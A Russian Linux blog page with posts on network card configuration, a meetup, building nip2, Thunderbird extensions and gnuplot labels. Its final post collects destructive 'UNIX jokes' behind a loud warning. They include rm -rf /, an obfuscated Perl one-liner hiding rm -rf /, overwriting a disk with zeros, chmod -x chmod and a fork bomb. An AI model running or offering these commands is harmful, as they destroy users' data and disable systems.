Простая настройка сетевого интерфейса в Линукс: как быстро настроить сетевую карту в Linux



51 коммент.
Несмотря на то, что во многих современных дистрибутивах есть красивые графические утилиты по настройке сетевой карты, в ряде случаев проще настроить всё руками в конфигах. Это очень просто - вписать несколько строчек в нужные конфиги.


Как посмотреть текущие настройки сетевой карты в Линукс
Просмотреть текущие настройки можно, набрав в консоли с привилегиями рута команду:
# ifconfig
или
$ sudo ifconfig
В результате в консоль будет выдано что-то вроде:

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:104 errors:0 dropped:0 overruns:0 frame:0
TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:9387 (9.1 KiB) TX bytes:9387 (9.1 KiB)

eth0 Link encap:Ethernet HWaddr 00:0A:E4:53:AA:2D
inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:21 Base address:0x2c00

Отсюда видно, что настроены два сетевых интерфейса: петлевой (loopback) под названием lo, и обычная сетевая карта (которая Ethernet) под обозначением eth0 ибо eth это ethernet [?], а 0 - номер устройства.

Причём если в интерфейс eth0 вставлен сетевой провод, идущий в свитч, будет написано RUNNING, то есть:
inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20e:2eff:feec:ef9f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Простая настройка сетевого интерфейса возможна командой:
ifconfig eth0 192.168.1.5
Чтобы заглушить сетевой интерфейс, набираем:
ifdown eth0
После этого небольшого вводного описания переходим к настройке простых сетей в Linux.


Настройка сетевого соединения в Линукс
Для этого потребуются права администратора и текстовый редактор (nano, vim, emacs, ваш_любимый_редактор_здесь). Так же нужно представлять, какой IP-адрес [?] следует присвоить сетевой карте, адрес шлюза и прочие параметры.

Сначала нужно выяснить, как называется сетевой интерфейс, соответствующий вашей сетевой карте. Делается это так: в консоли пишем
dmesg | grep -i Eth
В результате должны получить что-то вроде (выделение моё):
8139too Fast Ethernet driver 0.9.28
eth0: RealTek RTL8139 at 0xdf822c00, 00:15:f2:51:ad:da, IRQ 21
eth0: Identified 8139 chip type 'RTL-8101'
Так, похоже, что называется он eth0 и именно такое названием (у вас оно может быть другим, но идея та же). В этом примере дальше будет предполагаться, что интерфейс - eth0.


Настройка сетевого соединения со статическим IP
Для настройки статического сетевого соединения следует отредактировать файл:
# nano /etc/network/interfaces
или
sudo nano /etc/network/interfaces
Перед тем, как его править, следует решить, какой IP-адрес назначается машине. Если вы подключаетесь к уже настроенной сети - хорошо бы посмотреть, какие настройки есть там. Например, если подключение происходит к CorvettTelecom, настройки вам дадут. Если же сеть самопальная, например из двух компьютеров, нижеследующий пример подойдёт.

В общем, при назначении статических адресов нужно указать: IP-адрес (address), маску подсети (netmask) и адрес шлюза (gateway). Для локальной сети файл /etc/network/interfaces нужно изменить так:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.5
netmask 255.255.255.0
gateway 192.168.1.1
В этом примере назначен IP-адрес 192.168.1.5 сетевой карте eth0.


Настройка сетевого соединения с динамическим IP
Редактируем тот же файл, отвечающий в Линукс за сетевые настройки:
# nano /etc/network/interfaces
или
sudo nano /etc/network/interfaces
Здесь всё проще: нужно лишь привести файл к виду:
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
Так же можно настроить и из консоли:
#dhcpcd eth0
Для этого в системе должен быть установлен пакет dhcp3-client

Два слова о беспроводных сетях
Чтобы изменить тип интерфейса
wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0
wlanmode adhoc
Для того, чтобы посмотреть список сетей, набираем:
iwlist ath0 scan
или
wlanconfig ath0 list ap
Если есть открытая сеть и нужно к ней подключиться, набираем от рута:
iwconfig ath0 essid SomeESSID
Для того, чтобы соединение шифровалось с использованием WEP, пишем:
iwconfig ath0 key ...
Больше о беспроводных сетях говорилось тут.

Настройка адресов серверов имён (DNS, nameserver)
Если вы не настроите это, то сможете подключаться к ресурсам сети только по IP-адресам, что несколько неудобно. Для того, чтобы в Линукс прописать адреса серверов имён (DNS address), нужно отредактировать файл /etc/resolv.conf или создать его, если его нет.
# nano /etc/resolv.conf
или
sudo nano
/etc/resolv.conf
И прописать адреса следующим образом:
nameserver 192.168.1.1
nameserver 192.168.2.1
столько, сколько их нужно. Слово nameserver добавлять обязательно.


Чтобы изменения настройки сетевых интерфейсов вступили в силу...
... можно перезагрузиться, но это не наш метод. Без перезагрузки следует дать команду:
# /etc/init.d/networking restart
или
sudo /etc/init.d/networking restart
Всё, после этого настойки вступают в силу для всех сетевых интерфейсов.


Заключение
Это позволит достаточно легко настроить простую локальную сеть.
Как сменить MAC-адрес на сетевой карте, говорится там. Если требуется настроить GRPS под Линуксом, читаем это. При настройке VPN-соединений в Linux, толковые руководства есть по Корбине и ещё одно про корбину, по PPPoE тут и ещё одно. Остальное можно найти тут.
Читать далее

Линукс-поинт - объявление и обсуждение



16 коммент.
Все желающие встретиться на природе и просто отдохнуть, наслаждаясь свежим воздухом, костром и жаренными сосисками, приглашаются на поинт любителей разведения чертей и пингвинов. Встреча состоится в Москве, в живописных местах Ново-Переделкино, на берегу озера с видом на тропический закат.

Вот уже в который раз мы встречаемся на природе и весело проводим время в дружеской беседе. Приходите и вы, если будет возможность!

Место проведения:
Ново-Переделкино, около станции Мичуринец, в живописном леске на берегу озерца.

Дата проведения:
10 мая 2008 года (суббота)

Место и время сбора:
14-00 на станции метро "Юго-Западная" в центре зала

В метро ждём максимум до 14-20! Опоздавшим придётся добираться самостоятельно на автобусе 343м до ул. Лукинская

Время начала:
около 15-00

Время окончания:
пока есть желание

Программа мероприятий
1. Приготовление сосисок на костре.
2. Принятие ГСМ и НСМ.
3. Тематические беседы и обмен опытом.

Читать далее

Установка и впечатления новой версии графического анализатора NIP2



7 коммент.
Не так давно вышла новая версия библиотеки обработки изображений VIPS, а вместе с ней и графическая оболочка nip2. Несколько слов о том, что изменилось и как новую версию быстро собрать и использовать.

Как уже говорилось тут, nip2 - это уникальный графический анализатор изображений любой разрядности и динамического диапазона. Новая версия nip2 за номером 7.14.1 стала ещё быстрее и появились новые возможности для анализа изображений.

Самые последние версии nip2 забираем отсюда из support-зоны, где самый свежак. Скачиваем vipsXXX.tar.gz и nip2XXX.tar.gz, при сборке последовательность такая же: сначала собираем VIPS и устанавливаем пакет, потом собираем nip2 и тоже устанавливаем. Последние версии (vips7.18.XX) могут не собраться, если Python старой версии - для этого указываем при сборке ключ --without-python и собираем.

Сборка и установка
Так как nip2 только вышел и вообще не так распространён, как например Gimp, придётся собрать пакет самостоятельно. Это нетрудно, однако могут потребоваться зависимости для того, чтобы nip2 работал на полную мощность.

Сначала собираем VIPS, для чего распаковываем в каталог vips-7.14.1 скачанный архив, и от рута даём команду:
dh_make --createorig
Далее пишем
debuild
VIPS должен собраться без вопросов. Полученный пакет устанавливаем
dpkg -i vips_7.14.1-1_i386.deb
После этого собираем сам nip2. Очерёдность важна, так как при сборке nip2 потребуются файлы из VIPS, на которой графический анализатор и основан. Кроме того, на этапе сборке могут произойти ошибки - чаще всего из-за отсутствия необходимых пакетов:

checking for PKGFLAGS... configure: error: Package requirements (gthread-2.0 gtk+-2.0 >= 2.4.9 libxml-2.0 vips-7.14) were not met:
No package 'gtk+-2.0' found
No package 'vips-7.14' found
Собственно, ставим эти пакеты.
aptitude install libgtk2.0-0 libgtk2.0-common libgtk2.0-bin libgtk2.0-dev
Так же могут потребоваться следующие пакеты:
aptitude install fftw3 fftw3-dev libxml2 libxml2-dev libxml++2 gsl-bin libgsl0-dev libxml++1.0-dev libxml++1.0c2a libtiff4 libtiff4-dev flex
Последний пакет, flex, я поставил только тогда, когда сборка вываливалась с ошибкой на файле parce.c и я не мог понять из-за чего. Конечно, в файле README было сказано, что он нужен, но кто ж его читать-то будет!? :-)

Итак, сборка должна успешно завершиться и собранный пакет ставим dpkg. Конечно, автора можно упрекнуть за такую "наколеночную" сборку пакетов, однако надо быстренько получить новую версию нужной утилиты, а не кружавчики вышивать.


Изменения в Nip2
Расширился состав фильтров, теперь в официально включён шумоподавляющий фильтр GREYstoration, ряды можно именовать по своему усмотрению, расширены функции программирования. А главное - Nip2 стал ощутимо быстрее предыдущей версии, так что если вы им часто пользуетесь, то есть смысл обновиться.

Фильтры
В составе Nip2 теперь улучшенные фильтры морфологического анализа (пока только бинарная морфология), многие фильтры получили возможность точной настройки (custom kernels), а так же включён шумоподавляющий фильтр GREYstoration, основанный на анизотропной диффузии. GREYstoration интересен тем, что реализует подавление шума при помощи весьма изощрённого "сглаживания" изображения. В результате это важные детали не размываются, а шума становится намного меньше. Техника anisotropic diffusion известна довольно давно, однако реализация в Nip2 достаточно быстрая и нетребовательная к памяти, что важно при работе с большими изображениями.
Пример приведён на этом скриншоте:

Справа сверху - оригинальное изображение, справа снизу - с подавленными шумами. Очаровательная девушка на фотографии - Лена Содерберг, о которой я уже писал.


Именование рядов
Это полезная функция, если требуется анализировать много изображений. Тогда можно задать один workspace и просто заменять одно изображение - остальное пересчитается автоматически. Именованные ряды позволяют проще отличать конечные результаты анализа от промежуточных подсчётов.
Просто впишите в пустую клетку:

Mean=Math_stats_item.Mean_item.action A1
и вы получите именованную ячейку, содержимое которой есть среднее значение изображения в ячейке А1. Именовать по-русски пока нельзя, только на английском.


Горячие клавиши на элементы меню
Очень и очень полезная возможность! Открываем меню, доходим до нужной нам функции, подсвечиваем её и наживаем к примеру CTRL+M - и теперь на функцию повешена горячая кнопка. Теперь, чтобы посчитать среднее значение на изображении, просто выделяем изображение и нажимаем CTRL+M.


Заключение
В общем и целом, релиз удался: nip2 стал ещё быстрее и получил новые фильтры и методы анализа изображений.
Читать далее

Mozilla Thunderbird Extensions: Несколько полезных расширений для Mozilla Thunderbird



8 коммент.
Достаточно много статей о том, какие полезные темы и расширения можно и нужно подключать к Firefox. Однако почтовый клиент Mozilla Thunderbird так же имеет достаточно удобных и полезных расширений (extensions) - об этом будет говориться в этом посте.


Словари
Первым делом стоит поставить словари для русского и английского языков. Это обеспечит отлов очепяток при наборе письма, особенно если отметить в меню "Настройки" пункт "Проверка орфографии при наборе текста". Пройдя по этой ссылке, можно скачать и поставить словари для разных языков.


Расширения
Как и Огнелис, Буревестник в стандартной поставке довольно беден возможностями, что исправляется наличием расширений для него. Несколько наиболее часто используемых мною расширений я перечислю ниже.

Attachment Extractor
Позволяет сохранять вложенные в письма файлы в локальные каталоги. Умеет работать с несколькими выделенными письмами, сохраняя все вложения в каталог, что весьма удобно, если какой-то большой файл пересылается по частям. Расширение имеет достаточно много настроек. Домашняя страница проекта тут.

Contacts Sidebar
Отображает адресную книгу в боковой панели в виде дополнительного кармашка. Очень полезно, если нужно написать письмо и отослать его нескольким адресатам, да и вообще полезно бывает окинуть взором список своих адресатов. Свежая версия расширения должна быть здесь.

Dictionary Switcher
При ответе на письмо в правом нижнем углу окна отображает текущий словарь проверки орфографии. По клику мышкой по названию словаря меняет его на другой. Очень удобно при наборе писем на разных языках, так что однозначно стоит поставить это расширение. Оно должно быть тут.

Get all mails
Это расширение будет полезно, если у вас достаточно много почтовых ящиков и иногда требуется проверить почту сразу во всех ящиках. После установки этого расширения потребуется щёлкнуть правой кнопкой мыши по панели инструментов и добавить кнопку "Get All Mail". Домашняя страница проекта там.

Lightning
Это расширение добавляет возможности календаря и планировщика к почтовому клиенту. Так же можно поставить отдельное приложение Mozilla Sunbird, но мне оно кажется несколько "приторможенным": в составе Thunderbird оно работает быстрее. На мой взгляд, интеграция с почтой календаря это весьма удачное решение, так что стоит попробовать. Сайт проекта здесь.

Priority Switcher
Это небольшое расширение позволяет вывести дополнительное окошко на панели инструментов при написании нового сообщения, где можно выбрать приоритет сообщения. Хотя почта обычно доставляется быстро, расширение можно поставить на всякий случай отсюда.

ReminderFox
Возможность поставить напоминание на конкретное письмо. Полезно, если нужно ответить до какого-то дня, а вас отвлекли более важные занятия. Установить расширение можно отсюда.

Quote Colors
Если вы отвечаете на сообщение, то бывает очень полезно подсвечивать другим цветом цитату из письма вашего адресата. Это позволяет сделать расширение Quote Colors, которое будет подсвечивать текст цитаты и фон другим цветом, существенно облегчая восприятие текста. Особенно это полезно при чтении списков рассылки. Установить расширение можно отсюда.

QuickText
Расширения для создания шаблонов. Можно заготовить типичные фразы для ответов на повторяющуюся корреспонденцию, что сильно экономит время. Взять его можно отсюда.

Signature
В конце письма обычно ставят подпись - и это замечательное расширение позволяет вставлять в письмо задаваемые пользователем подписи. Для этого достаточно настроить различные подписи и вставлять их по щелчку правой кнопкой мыши либо по комбинации клавиш CTRL+Пробел. Так же можно заметить в правом нижнем углу окна с набираемым письмом небольшую надпись Signature - щёлкнув по ней, можно выбрать для вставки несколько подписей из списка. Скачать расширение можно здесь.

XNote

Добавление заметок к почтовым сообщениям. То есть к некоторым почтовым сообщениям можно повесить "липкие" заметки, которые всплывают при выборе сообщения. Удобно, когда вам нужно быстро оставить комментарий к письму для последующего ответа. Расширение тут.


Темы
Здесь что-то конкретное предложить трудно, так как у всех вкусы разные и темы лучше всего скачать, поставить и попробовать. Тем для Буревестника много, и посмотреть их можно здесь.


Заключение
Немного терпения, подгонки под себя и свои представления об удобстве - и получаем совершенно другой почтовый клиент: удобный, красивый и настроенный под себя. Этому способствуют многочисленные темы и расширения.
Читать далее

Создание графиков в gnuplot метки, оси и подписи



10 коммент.
Здесь будет говориться о том, как в gnuplot сделать подписи к осям с греческими буквами, как использовать в легендах надстрочное и подстрочное написание, как ставить стрелки на графиках и прочее.


Как использовать подстрочное / надстрочное написание?
Для этого следует ипользовать расширенный postscript-терминал, указав в скрипте построения графиков:
gnuplot> set terminal postscript enhanced
Надстрочные символы пишутся как X^2, подстрочные Y_3. Если необходимо написать так несколько символов, следует использвать фигурные скобки: Z_{64}. При одновременном надстрочном и подстрочном индексе используйте Z@^2_{64}.

Следующий пример поясняет использование различных вариантов написания, которые могут быть использованы в легенде для функций y=sin**2(x), y=sin**3(x), and y=sqrt(sin(x)).
gnuplot> set terminal postscript eps enhanced
gnuplot> set key spacing 1.3
gnuplot> set xrange [ 0 : pi ]
gnuplot> set yrange [ 0 : 1.5 ]
gnuplot> plot sin(x)**2 ti "sin^2(x)", \
sin(x)**3 ti "sin^3(x)",\
sqrt(sin(x)) ti "sin^{1/2}(x)"




Чтобы надписи не налезали друг на друга в легенде, требуется увеличить межстрочное расстояние. В данном примере оно увеличено на 30% при помощи команды set key spacing 1.3


Как использовать греческие буквы в текстах подписей?
Для этого следует ипользовать расширенный postscript-терминал, указав в скрипте построения графиков:
gnuplot> set terminal postscript enhanced
Греческие символы пишутся в виде {/Symbol a} - это, например, для буквы "альфа". Другие буквы можно найти в таблице:

Буква Символ Буква Символ Буква Символ Буква Символ
A Alpha N Nu a alpha n nu
B Beta O Omicron b beta o omicron
C Chi P Pi c chi p pi
D Delta Q Theta d delta q theta
E Epsilon R Rho e epsilon r rho
F Phi S Sigma f phi s sigma
G Gamma T Tau g gamma t tau
H Eta U Upsilon h eta u upsilon
I iota W Omega i iota w omega
K Kappa X Xi k kappa x xi
L Lambda Y Psi l lambda y psi
M Mu Z Zeta m mu z zeta

Так же можно использовать различные postscript-символы в их восьмеричном коде, например {/243} это символ фунта-стерлинга.
Следующий пример иллюстрирует построение линейной функции y=Alpha x+ Gamma при использовании двух греческих букв.

gnuplot> set terminal postscript eps enhanced
gnuplot> set xrange [ 0 : 5 ]
gnuplot> set label "{/Symbol a}=0.5, {/Symbol g}=0.2" at 2,0
gnuplot> plot 0.5*x-0.2 ti "y={/Symbol a}x-{/Symbol g}"






Как использовать в текстах подписей другие символы (проценты, копирайты)?
Выше уже говорилось о том, что можно использовать специальные postscript-символы, и это совсем не трудно. Для этого следует установить пакет gnuplot-doc и после этого обратиться к файлу ps_guide.ps - там перечислены все коды символов PostScript. Чтобы на одной из осей, к примеру, поставить знак процента в подписи, следует использовать команду:

gnuplot> set xlabel "Halftones, {/Symbol \\045} of grey"
То есть в подписи по оси X будет стоять: Halftones, 45% of grey


Как изменить расстояние между осями и подписью к ним?
Интервал можно изменить при помощи команд set {x|y}label
Например, это:

gnuplot> set xlabel "x" 0.0,1.0
смещает ось Х на высоту одной буквы вверх. Если задать положительное смещение по Y, подпись оси X налезает на содержимое графика, как показано на рисунках ниже.



Y offset = 0




Y offset = +5



Y offset = -5

если смещение по Y отрицательное, расстояние между подписью оси X и графиком становится больше.

Gnuplot пытается нарисовать график таким большим, насколько это возможно, так что высота графика становится больше, когда подпись оси Х смещается вверх. И наоборот, график становится меньше, когда подпись к оси Х смещается вниз.

Читать далее

Шутки в стиле UNIX



44 коммент.
Вирусов под Линукс мало, что бы там производители антивирусов не говорили. Поэтому в этом плане процветают различные шутки и подколы, временами весьма жестокие. Лишний раз заставит задуматься - а стоит ли запускать программу и работать с высокими привилегями?
Ниже - небольшая коллекция, которую мне удалось собрать.

ВНИМАНИЕ! НЕ ВЗДУМАЙТЕ ЗАПУСКАТЬ НА ОТВЕТСТВЕННЫХ МАШИНАХ НИ ОДНУ ИЗ ЭТИХ ПРОГРАММ! АВТОР БЛОГА НЕ НЕСЁТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ПОВРЕЖДЕНИЕ ДАННЫХ ПРИВЕДЁННЫМИ ПРОГРАММАМИ! НИЖЕСЛЕДУЮЩЕЕ ПРИВОДИТСЯ ИСКЛЮЧИТЕЛЬНО В ИЛЛЮСТРАТИВНЫХ ЦЕЛЯХ! НИКОГДА НЕ РАБОТАЙТЕ ПОСТОЯННО ПОД ROOT-АККАУНТОМ И НЕ ЗАПУСКАЙТЕ ПРОГРАММЫ, СМЫСЛ КОТОРЫХ ВАМ НЕ ЯСЕН! ПОСЛЕДСТВИЯ УЖАСНЫ!





Эпиграф
вирусы под линукс распространяются методом
"ух ты! дай посмотреть!" (C)


Классика жанра
Действие: rm -rf /
Системные требования: root
Последствия:
сносит все данные без предупреждений. Хотя бы раз так подкалывали, наверное, всех. Большинство других шуток есть "вариация на тему". Несмотря на очевидный смысл, множество форм белковой жизни выполняло её на своих машинах с целью "на посмотреть" (кстати, видеоролик, спасибо комментаторам). Есть вариант, найденный на БОРе, который называется "русская рулетка":
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив"
Что называется, для любителей острых ощущений.


Perl`овый юмор
Действие: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Системные требования: root, наличие perl
Последствия:
довольно остроумная шутка на perl, скрывающая истинную команду rm -rf /
Было на LOR и вызвало, естественно, потерю данных у многих из его постоянных обитателей, решивших "помочь" злобному автору "отладить" программу. Некоторые "помогали" на работающих "боевых" серверах.


Укусить себя за хвост

Действие: chmod -x chmod
Системные требования: root
Последствия:
естественно, сменить права потом невозможно ни у о одного файла.
Шутка, благодаря bash.org.ru ставшая легендой. Вообще, шутки с правами достаточно популярны.


Забой нулями
Действие: cat /dev/zero >/dev/hda
Системные требования: root
Последствия:
забивает нулями все разделы первого IDE-винчестера. С распространением SATA-дисков нужно кое-что изменить, но тем не менее.


Форк-бомба (forkbomb)
Действие: :(){ :|:&};:
Системные требования: не требуется
Последствия:
основная мысль - заполнить ресурсы системы бесполезными копиями программы. По причине исчерпания ресурсов система по крайней мере на некоторое время становится недоступна для пользователя. На том же LOR обсуждалось и опробовалось многочисленными участниками. При правильном использовании команды ulimit ущерб минимален (обычно по умолчанию количество процессов ставится нелимитированным).


Музыка в стиле драм
Действие: cat /boot/kernel > /dev/dsp
Системные требования: не требуется
Последствия:
из колонок начнут доноситься жуткие звуки, ибо загрузочный образ ядра напрямую будет передан на звуковое устройство. Кому-то нравится вариант cat /dev/mouse > /dev/dsp


Файл-флуд
Действие: выполнение скрита
while : ; do
mkdir subdir
cd subdir
done
Системные требования: специальных требований нет
Последствия:
создание огромного количества подкаталогов может исчерпать место на диске и во всяком случае существенно замедляет систему. Впрочем, через некоторое время это будет прекращено: слишком длинное имя получится, о чём система сообщит. Эффективно предотвращается при помощи дисковых квот.


ASCII-art, или искусство псевдографики

Действие: псевдографические рисунки в консоли
Системные требования: специальных требований нет
Последствия: Это, как правило, просто шутки без разрушительных последствий. Например, если от пользователя набрать команду
apt-get moo
То в ответ будет выдано:




Так же в Дебиане есть пакет sl (
еще со времен potato, как говорит комментатор Anton). Его действие сводится к тому, что если пользователь набирает по ошибке sl в консоли, в консоль выезжает анимированный псевдографический паровоз, проносится через консоль и возвращает ей управление.


Вреда нет и пользы тоже, но забавно...
Читать далее